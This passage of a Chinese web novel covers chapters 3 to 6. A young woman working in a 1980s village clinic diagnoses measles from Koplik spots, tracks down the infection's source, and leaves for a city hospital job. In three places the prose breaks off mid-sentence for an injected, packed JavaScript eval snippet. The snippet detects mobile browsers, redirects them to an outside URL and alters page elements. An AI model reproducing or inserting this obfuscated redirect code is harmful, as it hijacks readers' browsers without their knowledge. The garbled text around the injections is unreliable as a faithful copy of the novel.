《儿科鸡飞狗跳日常[八零]》 3. 第 3 章 张医生说得对,理智来看,躲避小朋友的行为是不可取的,医生没有选择患者的道理。 更何况南栀也曾遇到天使小朋友。 在张医生热情的目光下,南栀鼓足勇气走向小朋友:“你好,你有什么……” 小朋友双手插兜,朝南栀口哨,“尿床怪!” 南栀:“……” 天底下没有好的小朋友!! “帅帅!”小朋友的亲妈走过来,“拿药了吗?拿完赶紧走,今晚去你姥姥家吃饭。什么尿床怪,怎么和小栀姐姐说话的?” 帅帅摇头晃脑道:“她就是尿床怪,上次我和小鹏过来玩,看见她裤子上都是尿!这么大年纪还尿床,羞羞!” 帅帅边说边朝南栀扮鬼脸。 他是大桑村出了名的小混蛋,虽然刚九岁,但已经满山乱跑,经常捣乱。 今天往人家水缸里撒尿,明天去人家偷鸡。 偷鸡也不是为了吃,他就想和人家一起玩老鹰抓小鸡。 次数多了,老母鸡们一看到帅帅就死命追,通畅情况下,大家能根据老母鸡的位置判断帅帅的位置。 张医生也不喜欢帅帅,但他现在脸红红的,看起来是真病了,就没和帅帅计较。 他刚想劝脾气火爆的南栀也别计较,就听南栀说道:“那是赵叔把葡萄糖打翻在我裤子上了。” 张医生欣慰。 南栀的火爆脾气终于没啦,知道好好说话了。 又听南栀说:“就算是排泄物,也该叫作尿裤子,你已经九岁了,怎么分不清尿床和尿裤子?应该去医院检查检查脑……” 张医生紧急拽走南栀。 脾气是变好了……但说话怎么阴阳怪气的,比以前还气人?? 南栀比帅帅还委屈,“是真的呀,正常人怎么会分不清呢?” 她明明就是在热心地帮助帅帅嘛。 张医生:“……” 南栀将来不会得罪全村人然后挨打吧? 张医生叫帅帅进诊室。 帅帅妈说:“别麻烦了,就是有点儿感冒,家里没药了,拿点儿药就行。” 袁姐摸了下帅帅的额头,“挺热,发烧了吧?” “又烧了?”帅帅妈训道,“又背着我去河里玩了?就是学不乖!再来两片退烧药!” 袁姐转身去拿药。 南栀走到帅帅面前,拧着眉问道:“有什么症状?” “流鼻涕,咳嗽,”帅帅妈不在意道,“就是小感冒,给他拿药就行。” 南栀解释道:“今天已经有三个人孩子来看病,都是感冒发烧。” “小孩贪玩呗!是吧,老张?” 张医生说:“发烧来打针的的确是孩子居多,小南,你应该知道。” 他走到帅帅面前观察,“眼睛有点儿红,不过也正常。” 南栀趁机捏住帅帅的脸,先扒眼皮再扒嘴。 帅帅妈嘴角抽动,把张医生叫到一旁,“南栀落水,是不是把脑子摔坏了?她干嘛呢?” 张医生也不确定南栀在做什么,现在虽然是夏天,但风热感冒还是很常见的,尤其是小男生,贪玩,玩得满头大汗再吹吹风,晚上就能被撂倒。 张医生说:“她……想当医生,现在是观察帅帅的症状,是爱学习。” 张医生捂住胸口。 总说瞎话不会被雷劈吧? “南栀?学医?”帅帅妈嘴角下撇,“不是我说风凉话,这也太扯了,南栀啥水平我们还不知道吗?” 南栀,大桑村知名的火辣花瓶。 脾气不好,一点就炸,但长得漂亮。 黄春兰是村里的老好人,人缘好,大家也就让着南栀。 在能力方面,南栀可真不怎么样。 村民来看病时,如果只有南栀在,大家就默认为诊所没人。 “劝劝她,她的优势在年轻,在长的好看,赶紧找个条件好的对象结婚得了。结婚就是第二次投胎,你看老李家的姑娘,长得还没南栀好看呢,就是命好,嫁到城里,现在都是城市人了。” 不像他们,只能窝在大桑村里一辈子。 从前出村麻烦,还要找大队长签字,她也不觉得有什么。现在能随便跑了,她前几天刚去临川市看亲戚,才觉得在城市生活是真好。 他们这些人,是一辈子都出不去喽! 袁姐拿着药出来。 南栀也松开帅帅。 帅帅:“你都尿裤子了,你别碰我!” 南栀没理帅帅,她皱着秀眉,严肃地看向张医生。 看她的状态,好像发生了不得的大事。 张医生认真想了想在南栀世界里的大事,关切问道:“你又饿了?挨不到吃晚饭了?” 南栀:“……” 她把张医生拉过去,急切道:“我怀疑他得了麻疹。” “啊?” 帅帅妈道:“你不能因为帅帅多嘴,就诅咒我儿子,什么麻疹,他浑身上下哪有疹子?你别乱说话!” 南栀认真解释道:“你看他的眼睛,在下眼睑边缘有一道充血横线,这是stimson线。还有最明显的,他的两侧颊年末上有灰白色圆点,外有红色晕圈,这是柯氏斑,一般出现在未出疹前,是麻疹早期特征。” 张医生怔住,“柯氏斑?啥是柯氏斑?” “就是麻疹粘膜斑,1896年儿科医生柯普利克首次描述这种症状,是麻疹诊断的重要依据之一,所以用他的名字来命名。” 张医生:“……” 柯什么克? 什么利克? 什么普克? 课本里有吗?? 张医生陷入自我怀疑中。 他的课本上只有麻疹粘膜斑。 但南栀又不至于真的编一个名字出来。 南栀难道是…… 张医生激动地握住南栀的手,“你是医学界的天才!!” 南栀:“……” 她真诚道:“张医生,这种题其实只能当作第一二道题……不过我不否认我是天才。” 谁做错了,谁被老师骂退学回家种田的那种题。 但张医生确实没学过。 南栀凭借不流通的信息成为张医生眼中的医学天才。 麻疹是流传性疾病。 虽然已有疫苗,且接种疫苗后重症率大大降低,但大桑村特殊,接种麻疹疫苗的人不多。 不会只有帅帅一个人发病。 诊所瞬间忙起来。 “把上午三个孩子都叫回来!” “有症状的都放在一间屋子里!学校是不是空着?先送到学校!对了,得找源头,不能再传染了!如果严重,咱去城里可麻烦!” 帅帅妈茫然地看手忙脚乱的南栀几人。 晚上还去姥姥家吃饭呢…… 帅帅也茫然地看着母亲,“妈,尿洒在裤子上,我说她尿床真的不对吗?!” 帅帅妈收回目光,摸摸儿子的头,“乖,咱以后不上学了,有力气也行!” 帅帅:“……” 好像又被无形地骂了。 在诊所四人手忙脚乱地找人时,几个穿白大褂的男女无错地站在一边,“那个,我们是下乡医疗队,说好了今天到……” 冷风吹过,无人搭理他们。 医疗队:“……” 进山泥土路多,他们还特意去换了新的白大褂!! * 在诊所,口罩和手套都是稀缺资源,没法保证数量,南栀只分到一个口罩和一双手套。 口罩还不是后世常见的医生口罩,是棉质的,呼吸很不通畅。 袁姐给帅帅打针时,南栀在旁边帮忙。 袁姐一边操作一边给南栀讲解,“先找到要打针的地方,用究竟消毒……你看他小手肉乎,血管就很难找。找不到血管不能急,慢慢来,这玩意越急越不行。找到血管以后,就以这个角度,看到了吗,就这个角度,刺进去。” 袁姐学护理时也是三天打鱼两天晒网,她打针全凭经验,讲不出更学术更专业的词。 不过袁姐的经验,也是宝贵的财富。 “实在找不到血管,可以吃试着用手去摸,你来试试,感觉是不同的。” 袁姐也不知道为什么要和南栀说这些,大概是知道南栀真要去医院了,就想把自己会的都塞给她。 被医疗队挑中的人能有几个?南栀是独一份!是大桑村的骄傲! 南栀认认真真学完,对小帅说道:“明天我给你打。” “不要!”帅帅嚷道,“你是尿床怪,你打不中!” 袁姐:“没完了?怎么说话呢?” 帅帅对南栀的敌意不减。 南栀反应平淡,还朝帅帅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15039490|162447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 客气地笑了一下。 袁姐在心里感慨,南栀是和从前不同了,不冲动也不咋呼,稳重很多。 下一秒,南栀认真地问帅帅,“你九岁了,为什么还会尿床,是喜欢尿床吗?” 帅帅:“……” 袁姐:“呃,小南,你别跟他一般见识。” “我没有呀,”南栀解释,“我真的很好奇,都九岁了,还不知道睡前去厕所吗?帅帅,你为什么会尿床啊?” 帅帅:“……” 袁姐:“……” 好像在骂人,但偏偏南栀的眼中又真的有求知的光芒在闪烁。 南栀接着问:“还有一个问题,我也无法理解。你长得比较胖,两眼大小不一,脸型不对称……你为什么叫帅帅啊?” 无情的声音在房间里回荡——“为什么叫帅帅啊?” “帅帅啊?” “啊?” 帅帅:“……” 袁姐眼疾手快把她拉出去。 房间内接着爆发出尖叫:啊!! * 在医疗队的帮助下,所有有症状的小朋友都被找到,且得到妥善安置。 这在大桑村是顶天的大事,“南栀看病”一事也迅速传遍村子。 “听说了吗?南栀会看病,是她发现帅帅得了麻疹。” “南栀真是神了,只看一眼就知道帅帅是什么病,她在偷偷学医?” 等在家忙着洗衣服的南家奶奶听到消息,就变成了,“老姐姐,你家南栀是神医,她只要吹一下,病就能好了!” 奶奶:“?” 黄岩虎还在家里生闷气。 妻子婵娟安慰他,“不就是被外孙女说了几句?春兰是好孩子,不会不管我们。” 黄岩虎气冲冲道:“这丫头说我病了,大病!” “你听她的干嘛,她虽然在诊所工作,但她肚子里有几瓶墨水,你还不知道?” 黄岩虎:“……也是。” 他外孙女嘛,连打针都不会,在诊所也是打杂。 这时外面传来喊声,“老黄!你外孙女出息了!刚才看出麻疹的人就是她,城里来的医疗队都在给她鼓掌!” 黄岩虎:“?,外孙女?谁?” 婵娟声音颤抖:“你说你有几个外孙女……” 黄岩虎:“……” “送我去医院!!快!!” 彼时,医疗队的队长马明艳正和张医生谈话,张医生积极地推销南栀。 马明艳问:“这小姑娘学过医吗?” 张医生:“没有……但她肯定是家里有人做医生,她真懂一些,您刚刚也看到了。” 马明艳又说:“学历怎么样,学历好也行。” 张医生:“念过几天书……但她聪明啊!现在不是能上夜校吗?学历不是问题!” 马明艳:“……” 十分钟后,南栀被叫进诊室。 马明艳笑容可亲:“南栀小同志,听说你想学医,我向你介绍一下,我是临川市康宁医院内科的主治医师,这次是市里的任务,要加入下乡医疗队来大桑村。听说你对学医感兴趣,我想问问,你有没有兴趣到康宁医院帮忙呢?我们康宁医院是临川市赫赫有名的大医院,一定能学到东西。” 幸福来得太突然,南栀哪有拒绝的道理? 只要医院愿意要她,她就能补上学历!补上资格证!做真正的医生! 更何况马医生说了,康宁医院是赫赫有名的大医院! 南栀热泪盈眶,“我愿意!” 另一个穿白大褂的医生低声问道:“你真看好她啊。” 马明艳的声音也很低,正和张医生庆祝的南栀听不到。 “怎么可能,麻疹就是基础内容,再过几年都看不见这病。” “那你还??” “医院缺人嘛!好不容易遇到一个学过点儿医的,先拉个壮丁过去!” 壮丁?南栀看过来,“马医生,我真的能去吗?” 马明艳笑容满面,“我对你的才华绝对有信心!” 医疗队医生:“……” 问:跟了一个脸皮厚的队长该怎么办? 马明艳笑眯眯地看着南栀。 虽然南栀说的的确都是基础知识,但柯氏斑和充血横线目前为止还不在课本上。 这小姑娘,还真的蛮有意思的。 4.第 4 章 下乡医疗队在大桑村会停留三日。 张医生趁机把病人都塞进来。 他对村民的解释是——就算只是拉肚子,也要来诊所瞧一眼。 袁姐忙得头冒金星,连吃午饭的时间都没有。 打扫诊室的空档,袁姐和松哥抱怨道:“一点儿小病也要过来看吗?没必要浪费资源吧。” 张医生笑道:“咱们村的人,尤其是老人,可能这辈子连临川市都去不了,平时有病痛都忍着,再就是来找我这个半吊子医生,我也没啥用,只能看点儿普通的小感冒,大病的前兆我都看不明白,好不容易有机会能见到真正的医生,不能浪费机会。” 张医生说完,拎着刚做好的饭菜去找医疗队。 这几天他也没闲着,白天医疗队看诊,他在旁边跟着学,人少时他就回家做饭。 杀了家里三只老母鸡,顿顿都有肉有菜。 袁姐感慨,“张医生不容易,还得自己补贴。” 松哥同样感慨,“是啊,不容易。” 南栀看着吃饭的医疗队和赔笑的张医生发呆。 张医生的行为给医疗队增加了工作量,他心里过意不去,所以自己补贴。 袁姐和松哥也能理解张医生的辛苦,真好。 袁姐说:“如果鸡肉能分给我一块就更好了。” 松哥舔嘴唇,“更好了。” 南栀:“……” 这三天,南栀也在一旁跟着学。 医疗队是省里组建的,从各个医院抽调医生。 他们都是正经的医生,在基础问题上不会犯错,南栀不需要多嘴,便一直安静记录、学习。 马明艳有心考考南栀,在给一位脑梗患者看病时,特意问道:“患者脑梗死,左上肢可轻微收缩但不能移动,左上肢的肌力是……” 可见肌肉轻微收缩为1级肌力。 南栀将答案写在笔记上,然后和马明艳大眼瞪小眼。 马明艳有些失望。 她匆匆决定给南栀搞一个岗位,是不是做错了?虽然医院严重缺人,但南栀毕竟只是村子里的普通姑娘,如果无法胜任医院的工作怎么办? ……跑跑腿应该还是可以的。 张医生看着直着急。 他把南栀叫过去,“马医生的问题,你怎么不回答?” 南栀愣了一下,“是提问吗?” 张医生:“……,有点儿情商!” 南栀诚恳地反思自己,“我知道了,下次一定。” 张医生陷入深深的忧愁中。 以前的南栀脾气火爆,现在倒是不爆而且爱学习了,但这为人处事?? 南栀又说:“张医生,麻疹是传染性疾病,会有一个传染源头,目前还没找到源头,我们是不是再查查?” 张医生:“帅帅的症状进展最快。” “我看过了,帅帅和小鹏症状进程一致,二人是同时得麻疹的。” 张医生道:“帅帅妈说最近没乱走啊。” 南栀拧眉。 那天下午吵架,她隐约记得不是这么回事…… 马明艳想找张医生谈谈村里几起病例。 有几个老人还得去临川医院做全面检查,但都不愿意去。 用他们的话说就是,本来没有病,去了就有病了。 再就是落叶归根,就算是死,他们也要留在家里。 做医生的没法改变什么,就只能尽量护理。 马明艳想嘱咐张医生几句。 刚出来就听见南栀在说话,“张医生,虽然咱们已经通知所有密接暂时留在学校,但大桑村里接种过疫苗的人都很少,大家普遍不重视,村里有很多老人,扛不住重症,我想我们还得再多宣传宣传。” 张医生愁道:“现在他们的症状就是感冒,我就差拿着喇叭满村喊了,他们就是不在意,怎么办?” 南栀说:“把严重性和防护措施画成小册子,讲给小朋友,再让小朋友和自己的家长讲。” “为什么找小朋友?”张医生好奇道,“你不是烦小孩。” 南栀实话实说:“他们唠叨。” 张医生:“……” 如果每天都和家长念叨几遍…… 张医生道:“行,都试试,我再去集资搞点鸡蛋,愿意留在学校的,每天都奖励两个鸡蛋!” 诊所四人组又风风火火忙起来。 马明艳看着南栀若有所思。 这小姑娘,又笨又聪明的,有点儿前途。 医疗队这几天都是住在村民家里,今天是最后一天,转车的镇子给他们派了车来。 司机等到晚上八点,兜里的烟都抽光了,跑去找村民要卷烟,一边抽一边说:“你们这村子,生病的真多,以后我可不敢再过来了。” 八点十五,马明艳带队出来,乡村小路黑漆漆的,分不清马路和田野。 马明艳简单说了几句,然后看向南栀,“南栀同志,我只能保证你进医院,至于究竟能不能当上医生,还要靠你自己努力。” 南栀点头,“我一定会努力的。” 马明艳朝南栀伸出手,“回去我就安排,欢迎你加入临川市最好的医院!” 医疗队其他人露出高深莫测的笑容。 双方约定好,马明艳带队上车。 小巴车摇摇晃晃的上路。 袁姐问:“刚刚马医生说欢迎小南过去,其他人怎么都笑了?” 张医生猜测道:“是在替小南开心吧?” 此时此刻的小巴车上—— 医生们:“老马啊,你是真能拉苦力,你对小同志是不是太残忍了?” 诊所前—— 张医生:“马医生说了,她是要你去临川市最好的康宁医院!” 小巴车。 医生们:“康宁?楼都快歪了,楼顶长草的康宁?” 诊所。 张医生:“康宁医院一定有很多优秀的医生!” 小巴车。 医生们:“你们医院,医生都跑光了吧?” 诊所。 张医生:“有最先进的设备和治疗手段!” 小巴车。 医生们:“机器都上锈了。” …… 诊所。 张医生:“你一定有个美好的未来!” 小巴车。 医生们:“这孩子完了!” 诊所前的南栀用力点头,“我要和你一样,成为一个好医生!” “嗐,我这半吊子……” “你就是我心里最好的医生!” 张医生偷偷抹眼泪,“你看你这孩子,你、你……你在人家医疗队面前怎么就不知道嘴甜点儿?!” 小巴车。 马明艳说道:“我本来是想着,既然有点儿医学基础,就别浪费,能跑跑腿也好。几天相处下来,感觉这孩子真能有点儿成就。” 医生们撇嘴,“你是真没见过天才?这孩子,一般吧,你们康宁医院留着好了。” 马明艳道:“以后可别来抢人。” 医生们集体送给马明艳一个白眼。 南栀能做护士就不错了,抢护士?当他们闲哦。 这时,司机在前面抱怨道:“这破车,等一点儿都不亮,破路,怪坑坑洼洼的,怎么走?” 小巴车安静了。 大家都在担心赶夜路不安全。 马明艳淡定地看向窗外。 原来是月亮躲在云后,天空又如墨水一般黑,才显得幽静。 马明艳余光忽然瞟到小光点。 最开始只有一点,几秒内,光点越积越多。 医生们挤在窗前向外看,大桑村的村民们正举着手电朝他们摆手,“一路顺风——” 月亮从云后走了出来。 * 老南家开始商量南栀进城一事。 一家人都很高兴,已经兴奋得两三天都没睡好。 奶奶给南栀准备干粮,“路上要很久,我给你蒸馍馍,再给你露一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15046561|162447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手,做我最拿手的卤牛肉!” 南明杰把家里所有的钱都拿了出来,他们一家人虽然没进过城,但也知道城里肯定花销大,得给南栀准备钱。 只有黄春兰一边给南栀裁布做衣服,一边郁郁寡欢。 她有三个妹妹,老二和老三在临川市,老四下海做生意。 南栀自己去临川,她不放心。 但老二老三…… 奶奶看出黄春兰的顾虑,端给她一碗卤肉面,没有肉沫只有肉块 “别惦记你那几个妹妹了,她们能想着帮你?都是白眼狼。你就和明杰一起去临川,找马医生帮帮忙,找个能住下的地方。你俩也在临川打工。我看王家的小儿媳就跑去临川打工了,听说刷盘子刷碗都能赚到钱。” 黄春兰赶紧擦了擦眼睛,笑道:“我俩哪能去城里,年纪大了,不懂城里的规矩,我俩活不下去的。而且我们还得陪着你呢。” “我可不用你们陪,我好胳膊好腿,能照顾自己,小栀从来都没离开过家,你们赶紧去陪她。” 黄春兰夫妻俩自然不能走的。 离开大桑村去城里,他们舍不得,也会对未知的将来感到恐惧。 黄春兰甚至有点儿佩服敢闯荡的南栀。 黄春兰说:“妈,其实刚给夏兰打过电话了,她答应帮忙照顾小栀。” 奶奶仍然不信,“她们如果有心,好歹多给你打几个电话,我是不信她们能照顾南栀。” 南明杰没说话,但同样担忧。 “夏兰不会骗我,”黄春兰说,“以后我们每个月都给小栀寄钱,再看看夏兰的安排,等小栀适应临川的生活就好了。” 奶奶摇头道:“你啊,就是太单纯,人家说啥都信。” 南家陷入沉默。 南栀从里屋走出来,“奶奶,爸、妈,我先去临川,等我工作稳定,有工资能租房子了,就把你们都接过去。” 黄春兰忍着哭意嘱咐道:“你啊,去了可千万不要惹祸,遇到坏人就躲着点儿,别和人家起矛盾,我最不放心的就是你……” * 医疗队没走时,黄岩虎每天都去诊所,南栀的话可把他吓坏了,他连续做了好几天噩梦。 但无论马明艳怎么查,都没看出他的毛病,于是告诉他,如果真害怕,就去临川做详细检查。 黄岩虎这才明白南栀是在耍他! 黄岩虎又开始四处找麻将局。 上午轮到去徐家打麻将。 帅帅妈给四个中老年男人沏好茶,然后催帅帅去学着干活。 唠叨完,她又扭头对黄岩虎说道:“你家小南要去城里了哦。” 黄岩虎听说了,但不在意,他还怕黄春兰趁机找他要钱,“瞎搞,女娃到年纪就该嫁人,去什么城里,不怕走丢了?” “是挺让人担心的,”帅帅妈说,“以后你也困难了吧?” “和我有啥关系?我可没钱给她!” “不是说这个,小南走了,春兰能放心吗?不得跟着一起去?她可就小南一个闺女。” 黄岩虎放下麻将牌,抬起头。 “……” 他怎么没想到?! 南栀可以走,他的乖乖大女儿可不行。 黄春兰是真宠女儿,真有可能走。 他必须得把南栀,南栀…… 南栀朝院子走过来。 黄岩虎哆嗦了两下。 黄岩虎鼓足勇气说道:“南栀,你啥时候嫁人?咋又要跑去城里?去城里还有人要你吗?” 南栀路过黄岩虎,走向帅帅妈,“姐,我想和你聊聊帅帅,你说你打过麻疹疫苗,不用隔离,对吗?” 黄岩虎:“喂喂,我是你姥爷,我和你说话呢!你怎么不回答?” 南栀这才看向黄岩虎,她认真地道歉,“姥爷,不好意思。” “哼,没大没小,没家教!我看你……” 南栀继续说道:“妈妈教我不要和坏人说话,我不能和你说话的,不好意思哦。” 5.第 5 章 大桑村的老哥们多多少少有点儿瞧不上黄岩虎。 都说男人是家里的顶梁柱,男主外、女主内,男女搭配才能生活美满,黄岩虎呢?光指着老婆孩子过日子。 打麻将的大哥说:“这话可不对,虎子毕竟是你姥爷,要尊重长辈。” 黄岩虎板着脸道:“听明白了吗?” 大哥接着说:“有啥问题你告诉我,我骂他,我俩平辈。” 黄岩虎:“……” 南栀看着黄岩虎没作声。 这个人欺负黄春兰已经很久了,家里的东西全是找黄春兰要的。这些年黄春兰给黄岩虎的钱根本数不过来,更别提她本人还要过去照顾。 南栀忽然朝黄岩虎伸手,“姥爷。” 黄岩虎:“?” “钱。” 黄岩虎:“……” 大哥问:“你找虎子要命根?” 打麻将他都不带玩钱的! 南栀坚持道:“我们家的钱都给你,我没钱进城,爸妈正在愁,姥爷你出钱。” 黄岩虎扔下麻将就想跑。 两个大哥一齐动手把他按住,“孙女能进城了,光宗耀祖。” 黄岩虎身上的十几块钱都被搜刮出来。 大哥示意另外二人把黄岩虎放倒。 黄岩虎:“没了没了,就这点儿,真没了!” 大哥脱下黄岩虎的布鞋,“嚯,这个味儿。” 他取出鞋垫,“呀,一百块!” 连帅帅妈都凑过来看,“这老登……不是,我是说黄叔啊,居然藏了一百块钱?” 他们村都是靠种地养活自己的,其他工作一个月也就几十块钱,都见不到整钱。 大哥把一百块交给南栀,“能坚持几个月了!” 南栀狐疑地看着钱。 黄春兰不会给他一百块,她家没有,这钱是哪里来的? 而且…… 南栀瞄了一眼钱的年份,是今年刚印刷的钱。 奇怪。 为钱哀嚎的黄岩虎被大哥们拉走,他们边拽边说:“能帮到孙女很高兴吧?我就知道你能高兴!” 另一个大哥捂住他的嘴,“瞧,都笑出眼泪了!好人好事!” 南栀向大哥们表达了崇高的敬意。 她收好钱,看向帅帅妈。 帅帅妈:“?,我也得给钱?” 南栀说道:“帅帅和小鹏的症状相似,我记得你说过,前几天曾带他们去城里玩。” 帅帅妈表情极不自然,“没有的事,你记错了。” “你说你打过疫苗,不会被传染,可以见人,也说帅帅和小鹏一直在村里,没乱跑,是村里其他人传染给你们,张医生选择相信你。” 帅帅妈说:“老张了解我,我不会撒谎。” 南栀到:“我不相信。” 正在心里准备说辞的帅帅妈:“……” 小姑娘有必要这么直白吗? “这个吧,这个……” 南栀说:“发现帅帅感染麻疹的下午,你亲口说过带帅帅去过城里,而且帅帅是症状进程最快的。帅帅很有可能是在城里染上的麻疹,他在城中接触的人极有可能也患病了,我们得提前和那边沟通。” “反正我没……” 南栀转身,“我去和大家说就是你们传染给他们的。” “你别!!”帅帅妈急了,抱住南栀的胳膊不撒手,“以后叫我们咋做人?!” 南栀说:“老人抵抗力差,大桑村封闭,尤其是老年人,打过疫苗的人不多。” “现在不是没事吗?!” 南栀点头,“好吧。” “对嘛,做人要灵活一点儿。” 南栀说:“等他们发病了,万一撑不住了,我再去告诉他们。” 帅帅妈:“……” 南栀这孩子,脾气一直很差,是了解的。 自从被医疗队看上,她的脾气就好多了,但是怎么说呢……坏,蔫儿坏。 说着“恶毒”的话,还要瞪着无辜的大眼睛,蔫儿坏!! 南栀答应帅帅妈帮她保密。 帅帅妈原本是担心其他小朋友家属怪他们,没敢说实话。 张医生立刻给马明艳打电话,马明艳会处理后续事情。 麻疹的事告一段落,在去临川市之前,南栀继续在诊所工作。 本以为马明艳安排妥当就会打电话通知南栀,这个电话却迟迟没来。 村里风声得很快,黄岩虎特意跑到南家门前嘚瑟。 “做人最重要的就是有自知之明,什么水平心里应该有数,趁着还年轻漂亮,赶紧找个好人家嫁了,我看老张家的儿子就不错,说是在外面开饭店赚了大钱,能给不少彩礼,赶紧拿了彩礼我好……” 奶奶提着扫帚追出去,“我把你这个龟儿子先嫁出去!!” 黄春兰安慰道:“医疗队的工作很忙,你也看到了,她忙完就会来电话了。” 南栀不语。 南明杰也说:“再等等,实在不行让张医生再给去个电话,事关你的前程,我们得上心。” 南栀依旧沉默。 夫妻俩对视一眼,担心南栀太过消极。 这时,南栀忽然抬起头,认真说道:“我想直接去临川市。” 夫妻俩一惊。 说起来有点儿不好意思,他们其实都有些害怕城市里的车水马龙,听说城市有车,很多车,还会出车祸。 南栀坚定道:“我想直接过去。” 马明艳离开时,对南栀还是很有兴趣的。 她非常热情,看着南栀就像在看……廉价劳动力。 南栀原本是不了解这个年代的规则,才不敢贸然去城里,现在知道即便没学历也有其他方法,她就敢去闯闯。 行礼都是提前收拾好的,拎着就可以走。 张医生担心没人接应南栀,又跑去村支书的办公室要求打电话。 村支书挡在办公室门口,支支吾吾道:“电话坏了,用不了,明天吧。” “我昨天还看人家在用。” “昨天是昨天,今天坏的!”村支书忐忑地看向南栀和黄春兰,“反正用不了!” 南栀透过格子窗看着白色的座机,若有所思。 黄春兰鼓励道:“我已经和你姨妈打过招呼,你爸把你送到火车站,你下车就给姨妈打电话,让她们去接你。” 黄春兰把几个妹妹的电话号码塞给南栀。 村支书急道:“咋还要直接去?一个小女娃怎么去?可别闹了,出事咋办?” 张医生瞪了村支书一眼,对南栀说:“我这里有马医生联系方式,就算她真不要你了,也得说清楚!” 村支书:“人家那么忙,你们总打扰人家,哎,真不能去,去不得!明杰,你放心你闺女一个人去城里?春兰,你可是最疼她的。” 没人理会村支书。 去临川的路很长,但也不算长。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15049900|162447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>南栀虽然生在21世纪,却没享受过21世纪的高科技。 母亲自杀后,她找不到哥哥,只能在福利院生活。后来念大学也没出省,就在隔壁城市,她没钱,不舍得花二十几块坐高铁,就坐几块钱的绿皮火车。 她聪明,资助她的人很多,但她知道那些人也都不是大富大贵,她总想着节省一些,不让他们操心,早点儿赚钱报答他们。 现在她坐的也是绿皮火车。 绿皮火车头顶有老风扇,窗户能打开,一路山清水秀,热烈夏风吹进车厢,有人带头唱歌,也有年轻人围在一起打扑克。 南栀旁边的阿姨刚上车,带了自己蒸的包子,白菜馅的,她热情地分给周围的人。 南栀小心翼翼接过来,吃上了热乎乎的包子。 未来的生活也没什么可怕的。 临川火车站。 南栀站在破旧的站前广场发呆。 前后左右都是接客的三轮车,南栀不知道目的地,不敢坐,也不舍得花钱。 但…… 这破破烂烂的火车站是怎么回事? 这是八十年代的城市?老破旧的车站大楼,紧巴巴的入站口和出站口,说是六十年代,南栀都能相信!! 临川不是大城市吗? 不是还有最好的康宁医院吗?? 南栀:幸好她穷困潦倒一辈子,马上就能习惯贫穷。 火车站附近有电话亭,需要配卡使用,南栀没有卡。 她只能去找普通的商店,按分钟收费,很贵,而且是双向收费,村里人很少往外打电话。 南栀选择的对象是二姨黄夏兰。 黄夏兰能力初中,最先是进了大桑村附近镇子的厂,后来凭自身能力调到临川市的电子厂,如今已经是厂长,在临川市已经有厂里分的房子。 黄夏兰的丈夫同样是厂长,工作很忙,经常出差,二人有一个儿子。 电话中黄夏兰声音冷漠,惜字如金。 她答应南栀会过来,但没说具体时间。 南栀回到车站前的马路边坐下。 骑三轮车的试图从南栀身上赚到钱。 另一人劝道:“你看她呆呆傻傻的,说不定脑子有问题。” “那更得走了,坐在这里被拐了咋办?!” 南栀揉了揉脸。 她觉得自己很聪明啊。 南栀顶着张“聪明脸”继续等黄夏兰。 黄春兰告诉她,她的妹妹已经答应帮忙照顾,她们答应的事情绝对不会反悔。 奶奶也告诉她,这几个妹妹都是黄春兰拉扯大的,但都不靠谱,直接把老父亲甩给黄春兰,什么都不管。 南栀曾被抛弃过,知道人性凉薄。 她不知道黄夏兰会不会来,也不知道她会不会成为黄夏兰的累赘,被对方嫌弃。 更不知道如果黄夏兰真的不念黄春兰的好,她该如何对黄春兰解释,才不会伤她的心。 一个小时过去,没人来问南栀。 南栀晃了晃坐麻了的腿,在心里默念知识点:长期保持同一姿势,导致神经受阻、血液循环不良……努力做医生,接爸妈和奶奶来临川。 南栀停了一会儿,觉得祈祷不够充分,又在心里想:不做儿科医生不做儿科医生。 祷告结束。 南栀正要坐下继续等,忽然听到低沉的女声,南栀抬头,一个身高超过一米七的女人高高在上地看着她。 “你是南栀?” 6.第 6 章 一个穿深蓝色工服的中年女人走到南栀面前。 女人留短发,眉眼与黄春兰相似,但是不像黄春兰那般平易近人。她眼神锐利,扫视人时伴随巨大的压迫感…… 好在南栀看不懂。 她认真地回答她的话,“我是南栀。” 黄夏兰点头,伸手,“我是黄夏兰。” 南栀同她握手,“二姨好。” “你好。” …… 孟闵从黄夏兰身后钻出来,“你俩领导人见面?搞交接?神经病啊,我高中和同学一起逃学都不这样碰头!” 话音落下,前一秒还斯文的黄夏兰狠狠赏了孟闵一拳,“老实点!” 南栀打量二人,黄夏兰也在看她。 南栀不知道黄春兰是如何同黄夏兰交代的,也不知道黄夏兰是不是欢迎她来,她想起张医生总让她有点儿情商,便决定用心思考后再开口。 